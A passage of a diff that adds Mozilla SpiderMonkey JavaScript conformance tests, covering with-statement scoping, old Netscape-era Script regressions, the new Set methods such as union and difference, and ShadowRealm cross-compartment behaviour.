+
+status = 'Section 11 of test';
+localD(new Object());
+addThis();
+
+status = 'Section 12 of test';
+localD.apply(new Object(), [objTEST]);
+addThis();
+
+status = 'Section 13 of test';
+localD.apply(objTEST, [objTEST]);
+addThis();
+
+
+
+//-------------------------------------------------------------------------------------------------
+test();
+//-------------------------------------------------------------------------------------------------
+
+
+
+// contains a with(new Object()) block -
+function localA()
+{
+ var A = 'local A';
+
+ with(new Object())
+ {
+ actual = A;
+ expect = 'local A';
+ }
+}
+
+
+// contains a with(Number) block -
+function localB()
+{
+ var B = 'local B';
+
+ with(Number)
+ {
+ actual = B;
+ expect = 'local B';
+ }
+}
+
+
+// contains a with(this) block -
+function localC(obj)
+{
+ var C = 'local C';
+
+ with(this)
+ {
+ actual = C;
+ }
+
+ if ('C' in this)
+ expect = this.C;
+ else
+ expect = 'local C';
+}
+
+
+// contains a with(obj) block -
+function localD(obj)
+{
+ var D = 'local D';
+
+ with(obj)
+ {
+ actual = D;
+ }
+
+ if ('D' in obj)
+ expect = obj.D;
+ else
+ expect = 'local D';
+}
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual;
+ expectedvalues[UBound] = expect;
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], statusitems[i]);
+ }
+}
diff --git a/js/src/tests/non262/Scope/shell.js b/js/src/tests/non262/Scope/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Scope/shell.js
diff --git a/js/src/tests/non262/Script/browser.js b/js/src/tests/non262/Script/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Script/browser.js
diff --git a/js/src/tests/non262/Script/delete-001.js b/js/src/tests/non262/Script/delete-001.js
new file mode 100644
index 0000000000..197a7c7277
--- /dev/null
+++ b/js/src/tests/non262/Script/delete-001.js
@@ -0,0 +1,46 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: delete-001.js
+ Section: regress
+ Description:
+
+ Regression test for
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=108736
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "JS1_2";
+var TITLE = "The variable statement";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// delete all properties of the global object
+// per ecma, this does not affect variables in the global object declared
+// with var or functions
+
+for ( p in this ) {
+ delete p;
+}
+
+var result ="";
+
+for ( p in this ) {
+ result += String( p );
+}
+
+// not too picky here... just want to make sure we didn't crash or something
+
+new TestCase( "delete all properties of the global object",
+ "PASSED",
+ result == "" ? "FAILED" : "PASSED" );
+
+
+test();
+
diff --git a/js/src/tests/non262/Script/function-002.js b/js/src/tests/non262/Script/function-002.js
new file mode 100644
index 0000000000..ad99b6d5ef
--- /dev/null
+++ b/js/src/tests/non262/Script/function-002.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: function-002.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=249579
+
+ function definitions in conditional statements should be allowed.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "function-002";
+var TITLE = "Regression test for 249579";
+var BUGNUMBER="249579";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+new TestCase(
+ "0?function(){}:0",
+ 0,
+ 0?function(){}:0 );
+
+
+bar = true;
+foo = bar ? function () { return true; } : function() { return false; };
+
+new TestCase(
+ "bar = true; foo = bar ? function () { return true; } : function() { return false; }; foo()",
+ true,
+ foo() );
+
+
+test();
+
diff --git a/js/src/tests/non262/Script/in-001.js b/js/src/tests/non262/Script/in-001.js
new file mode 100644
index 0000000000..dc7b68fa04
--- /dev/null
+++ b/js/src/tests/non262/Script/in-001.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: in-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=196109
+
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "in-001";
+var TITLE = "Regression test for 196109";
+var BUGNUMBER="196109";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+o = {};
+o.foo = 'sil';
+
+new TestCase(
+ "\"foo\" in o",
+ true,
+ "foo" in o );
+
+test();
diff --git a/js/src/tests/non262/Script/new-001.js b/js/src/tests/non262/Script/new-001.js
new file mode 100644
index 0000000000..e1ef060504
--- /dev/null
+++ b/js/src/tests/non262/Script/new-001.js
@@ -0,0 +1,79 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: new-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=76103
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "new-001";
+var TITLE = "new-001";
+var BUGNUMBER="31567";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+function Test_One (x) {
+ this.v = x+1;
+ return x*2
+ }
+
+function Test_Two( x, y ) {
+ this.v = x;
+ return y;
+}
+
+new TestCase(
+ "Test_One(18)",
+ 36,
+ Test_One(18) );
+
+new TestCase(
+ "new Test_One(18)",
+ "[object Object]",
+ new Test_One(18) +"" );
+
+new TestCase(
+ "new Test_One(18).v",
+ 19,
+ new Test_One(18).v );
+
+new TestCase(
+ "Test_Two(2,7)",
+ 7,
+ Test_Two(2,7) );
+
+new TestCase(
+ "new Test_Two(2,7)",
+ "[object Object]",
+ new Test_Two(2,7) +"" );
+
+new TestCase(
+ "new Test_Two(2,7).v",
+ 2,
+ new Test_Two(2,7).v );
+
+new TestCase(
+ "new (Function)(\"x\", \"return x+3\")(5,6)",
+ 8,
+ new (Function)("x","return x+3")(5,6) );
+
+new TestCase(
+ "new new Test_Two(String, 2).v(0123)",
+ "83",
+ new new Test_Two(String, 2).v(0123) +"");
+
+new TestCase(
+ "new new Test_Two(String, 2).v(0123).length",
+ 2,
+ new new Test_Two(String, 2).v(0123).length );
+
+test();
diff --git a/js/src/tests/non262/Script/shell.js b/js/src/tests/non262/Script/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Script/shell.js
diff --git a/js/src/tests/non262/Script/switch-001.js b/js/src/tests/non262/Script/switch-001.js
new file mode 100644
index 0000000000..5642d0c1bf
--- /dev/null
+++ b/js/src/tests/non262/Script/switch-001.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: switch-001.js
+ Section:
+ Description:
+
+ http://scopus.mcom.com/bugsplat/show_bug.cgi?id=315767
+
+ Verify that switches do not use strict equality in
+ versions of JavaScript < 1.4
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "switch-001";
+var TITLE = "switch-001";
+var BUGNUMBER="315767";
+
+printBugNumber(BUGNUMBER);
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+result = "fail: did not enter switch";
+
+switch (true) {
+case 1:
+ result = "fail: for backwards compatibility, version 130 use strict equality";
+ break;
+case true:
+ result = "pass";
+ break;
+default:
+ result = "fail: evaluated default statement";
+}
+
+new TestCase(
+ "switch / case should use strict equality in version of JS < 1.4",
+ "pass",
+ result );
+
+
+
+test();
+
diff --git a/js/src/tests/non262/Set/browser.js b/js/src/tests/non262/Set/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/Set/browser.js
diff --git a/js/src/tests/non262/Set/difference.js b/js/src/tests/non262/Set/difference.js
new file mode 100644
index 0000000000..edcaec7608
--- /dev/null
+++ b/js/src/tests/non262/Set/difference.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.difference, 'function');
+ assertEq(Set.prototype.difference.length, 1);
+ assertEq(Set.prototype.difference.name, 'difference');
+
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).difference(new Set()), [1, true, null]);
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).difference([1, true, null]), []);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).difference([2, 3, 4]), [1]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).difference([4]), [1, 2, 3]);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).difference(makeArrayIterator([3, 4])), [1, 2]);
+ assertSetContainsExactOrderedItems(new Set(['a','d']).difference('abc'), ['d']);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(Set.prototype.difference.call(makeArrayIterator([1, 2, 3, 3, 2]), [4, 5, 6]), [1, 2, 3]);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.difference([1]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.difference();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.difference(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.difference.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.difference.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.difference, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/intersection.js b/js/src/tests/non262/Set/intersection.js
new file mode 100644
index 0000000000..806edebc9b
--- /dev/null
+++ b/js/src/tests/non262/Set/intersection.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.intersection, 'function');
+ assertEq(Set.prototype.intersection.length, 1);
+ assertEq(Set.prototype.intersection.name, 'intersection');
+
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).intersection(new Set()), []);
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).intersection([1, true, null]), [1, true, null]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).intersection([2, 3, 4]), [2, 3]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).intersection([4]), []);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).intersection(makeArrayIteratorWithHasMethod([3, 4])), [3]);
+ assertSetContainsExactOrderedItems(new Set(['a']).intersection('abc'), ['a']);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol and has a `has` method
+ assertSetContainsExactOrderedItems(Set.prototype.intersection.call(makeArrayIteratorWithHasMethod([1, 2, 3, 3, 2]), [3, 4, 5, 6]), [3]);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.intersection([2]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.intersection();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.intersection(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.intersection.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.intersection.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.intersection, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/is-disjoint-from.js b/js/src/tests/non262/Set/is-disjoint-from.js
new file mode 100644
index 0000000000..0209f637fc
--- /dev/null
+++ b/js/src/tests/non262/Set/is-disjoint-from.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.isDisjointFrom, 'function');
+ assertEq(Set.prototype.isDisjointFrom.length, 1);
+ assertEq(Set.prototype.isDisjointFrom.name, 'isDisjointFrom');
+
+ assertEq(new Set([1, true, null]).isDisjointFrom(new Set()), true);
+ assertEq(new Set([1, true, null]).isDisjointFrom([1, true, null]), false);
+ assertEq(new Set([1, 2, 3]).isDisjointFrom([2, 3, 4]), false);
+ assertEq(new Set([1, 2, 3]).isDisjointFrom([4]), true);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(new Set([1, 2, 3]).isDisjointFrom(makeArrayIteratorWithHasMethod([3, 4])), false);
+ assertEq(new Set(['a']).isDisjointFrom('abc'), false);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(Set.prototype.isDisjointFrom.call(makeArrayIteratorWithHasMethod([1, 2, 3, 3, 2]), [4, 5, 6]), true);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.isDisjointFrom([2]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isDisjointFrom();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isDisjointFrom(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isDisjointFrom.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isDisjointFrom.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.isDisjointFrom, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/is-subset-of.js b/js/src/tests/non262/Set/is-subset-of.js
new file mode 100644
index 0000000000..b6c74126b6
--- /dev/null
+++ b/js/src/tests/non262/Set/is-subset-of.js
@@ -0,0 +1,69 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.isSubsetOf, 'function');
+ assertEq(Set.prototype.isSubsetOf.length, 1);
+ assertEq(Set.prototype.isSubsetOf.name, 'isSubsetOf');
+
+ assertEq(new Set([1, true, null]).isSubsetOf(new Set()), false);
+
+ assertEq(new Set([1, true, null]).isSubsetOf([1, true, null]), true);
+ assertEq(new Set([1, 2, 3]).isSubsetOf([2, 3, 4]), false);
+ assertEq(new Set([1, 2, 3]).isSubsetOf([1, 2, 3, 4]), true);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(new Set([1, 2, 3]).isSubsetOf(makeArrayIteratorWithHasMethod([3, 4])), false);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(
+ Set.prototype.isSubsetOf.call(
+ makeArrayIteratorWithHasMethod([1, 2, 3, 3, 2]),
+ makeArrayIteratorWithHasMethod([4, 5, 6])
+ ),
+ false
+ );
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.isSubsetOf(new Set([2])) !== set, true);
+
+ // Argument must be iterable and an object
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isSubsetOf();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol(), ""]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isSubsetOf(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isSubsetOf.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isSubsetOf.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.isSubsetOf, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/is-superset-of.js b/js/src/tests/non262/Set/is-superset-of.js
new file mode 100644
index 0000000000..d814f061f9
--- /dev/null
+++ b/js/src/tests/non262/Set/is-superset-of.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.isSupersetOf, 'function');
+ assertEq(Set.prototype.isSupersetOf.length, 1);
+ assertEq(Set.prototype.isSupersetOf.name, 'isSupersetOf');
+
+ assertEq(new Set([1, true, null]).isSupersetOf(new Set()), true);
+ assertEq(new Set([1, true, null]).isSupersetOf([1, true, null]), true);
+ assertEq(new Set([1, 2, 3]).isSupersetOf([2, 3, 4]), false);
+ assertEq(new Set([1, 2, 3]).isSupersetOf([3]), true);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(new Set([1, 2, 3]).isSupersetOf(makeArrayIteratorWithHasMethod([2, 3])), true);
+ assertEq(new Set(['a']).isSupersetOf('abc'), false);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertEq(Set.prototype.isSupersetOf.call(makeArrayIteratorWithHasMethod([1, 2, 3, 3, 2]), [4, 5, 6]), false);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.isSupersetOf([2]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isSupersetOf();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.isSupersetOf(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isSupersetOf.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.isSupersetOf.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.isSupersetOf, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/shell.js b/js/src/tests/non262/Set/shell.js
new file mode 100644
index 0000000000..8c61eee059
--- /dev/null
+++ b/js/src/tests/non262/Set/shell.js
@@ -0,0 +1,45 @@
+function makeArrayIterator(array) {
+ let i = 0;
+ return {
+ [Symbol.iterator]() {
+ return {
+ next() {
+ if (i >= array.length) {
+ return { done: true };
+ } else {
+ return { value: array[i++] };
+ }
+ }
+ };
+ }
+ }
+}
+
+function makeArrayIteratorWithHasMethod(array) {
+ let i = 0;
+ return {
+ has(item) {
+ return array.includes(item);
+ },
+ [Symbol.iterator]() {
+ return {
+ next() {
+ if (i >= array.length) {
+ return { done: true };
+ } else {
+ return { value: array[i++] };
+ }
+ }
+ };
+ }
+ };
+}
+
+function assertSetContainsExactOrderedItems(actual, expected) {
+ assertEq(actual.size, expected.length);
+ let index = 0;
+ for (const item of actual) {
+ assertEq(item, expected[index]);
+ index++;
+ }
+}
diff --git a/js/src/tests/non262/Set/symmetric-difference.js b/js/src/tests/non262/Set/symmetric-difference.js
new file mode 100644
index 0000000000..37e29902b8
--- /dev/null
+++ b/js/src/tests/non262/Set/symmetric-difference.js
@@ -0,0 +1,63 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration = SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.symmetricDifference, 'function');
+ assertEq(Set.prototype.symmetricDifference.length, 1);
+ assertEq(Set.prototype.symmetricDifference.name, 'symmetricDifference');
+
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).symmetricDifference(new Set()), [1, true, null]);
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).symmetricDifference([1, true, null]), []);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).symmetricDifference([2, 3, 4]), [1, 4]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).symmetricDifference([4]), [1, 2, 3, 4]);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).symmetricDifference(makeArrayIterator([3, 4])), [1, 2, 4]);
+ assertSetContainsExactOrderedItems(new Set(['a']).symmetricDifference('abc'), ['b', 'c']);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(Set.prototype.symmetricDifference.call(makeArrayIterator([1, 2, 3, 3, 2]), [4, 5, 6]), [1, 2, 3, 4, 5, 6]);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.symmetricDifference([2]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.symmetricDifference();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.symmetricDifference(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.symmetricDifference.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.symmetricDifference.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.symmetricDifference, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Set/union.js b/js/src/tests/non262/Set/union.js
new file mode 100644
index 0000000000..c7cf8026e5
--- /dev/null
+++ b/js/src/tests/non262/Set/union.js
@@ -0,0 +1,65 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * https://creativecommons.org/publicdomain/zero/1.0/
+ */
+
+if (typeof getBuildConfiguration === "undefined") {
+ var getBuildConfiguration =
+ SpecialPowers.Cu.getJSTestingFunctions().getBuildConfiguration;
+}
+
+if (typeof getRealmConfiguration === "undefined") {
+ var getRealmConfiguration =
+ SpecialPowers.Cu.getJSTestingFunctions().getRealmConfiguration;
+}
+
+if (getBuildConfiguration()['new-set-methods'] && getRealmConfiguration().enableNewSetMethods) {
+
+ assertEq(typeof Set.prototype.union, 'function');
+ assertEq(Set.prototype.union.length, 1);
+ assertEq(Set.prototype.union.name, 'union');
+
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).union(new Set()), [1, true, null]);
+ assertSetContainsExactOrderedItems(new Set([1, true, null]).union([1, true, null]), [1, true, null]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).union([2, 3, 4]), [1, 2, 3, 4]);
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).union([4]), [1, 2, 3, 4]);
+ // Works when the argument is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(new Set([1, 2, 3]).union(makeArrayIterator([3, 4])), [1, 2, 3, 4]);
+ assertSetContainsExactOrderedItems(new Set(['a']).union('abc'), ['a', 'b', 'c']);
+
+ // Works when the `this` is a custom iterable which follows the Symbol.iterator protocol
+ assertSetContainsExactOrderedItems(Set.prototype.union.call(makeArrayIterator([1, 2, 3, 3, 2]), [4, 5, 6]), [1, 2, 3, 4, 5, 6]);
+
+ // Does not modify the original set object
+ const set = new Set([1]);
+ assertEq(set.union([2]) !== set, true);
+
+ // Argument must be iterable
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.union();
+ }, TypeError);
+ for (const arg of [null, {}, true, 1, undefined, NaN, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ const set = new Set();
+ set.union(arg);
+ }, TypeError);
+ }
+
+ // `this` must be an Object
+ for (const arg of [null, undefined, Symbol()]) {
+ assertThrowsInstanceOf(function () {
+ Set.prototype.union.call(arg, []);
+ }, TypeError);
+ }
+
+ // `this` must be iterable
+ assertThrowsInstanceOf(function () {
+ Set.prototype.union.call({}, []);
+ }, TypeError);
+} else {
+ assertEq(typeof Set.prototype.union, 'undefined');
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ShadowRealms/ccw-2.js b/js/src/tests/non262/ShadowRealms/ccw-2.js
new file mode 100644
index 0000000000..5a60341a65
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/ccw-2.js
@@ -0,0 +1,22 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+var g = newGlobal({newCompartment: true});
+
+var sr = new ShadowRealm();
+
+var f = sr.evaluate(`
+ var wrappedCCW;
+ (f => { wrappedCCW = f; });
+`);
+
+f(g.evaluate(`x => x()`));
+
+var h = sr.evaluate(`
+ // Pass an object from the ShadowRealm's compartment to the CCW function.
+ wrappedCCW(() => { return "ok"; })
+`);
+
+assertEq(h, "ok");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/ShadowRealms/ccw.js b/js/src/tests/non262/ShadowRealms/ccw.js
new file mode 100644
index 0000000000..7596f15823
--- /dev/null
+++ b/js/src/tests/non262/ShadowRealms/ccw.js
@@ -0,0 +1,33 @@
+// |reftest| shell-option(--enable-shadow-realms) skip-if(!xulRuntime.shell)
+
+var g = newGlobal({ newCompartment: true });
+
+var sr = g.evaluate(`new ShadowRealm()`);
+
+
+// sr should be a CCW to a ShadowRealm.
+ShadowRealm.prototype.evaluate.call(sr, "var x = 10");
+assertEq(sr.evaluate("x"), 10);
+
+// wrappedf should *not* be a CCW, because we're using this realm's ShadowRealm.prototype.evaluate,
+// and so the active realm when invoking will be this current realm.
+//
+// However, the target function (wrappedf's f) comes from another compartment, and will have to be a CCW.
+var wrappedf = ShadowRealm.prototype.evaluate.call(sr, "function f() { return 10; }; f");
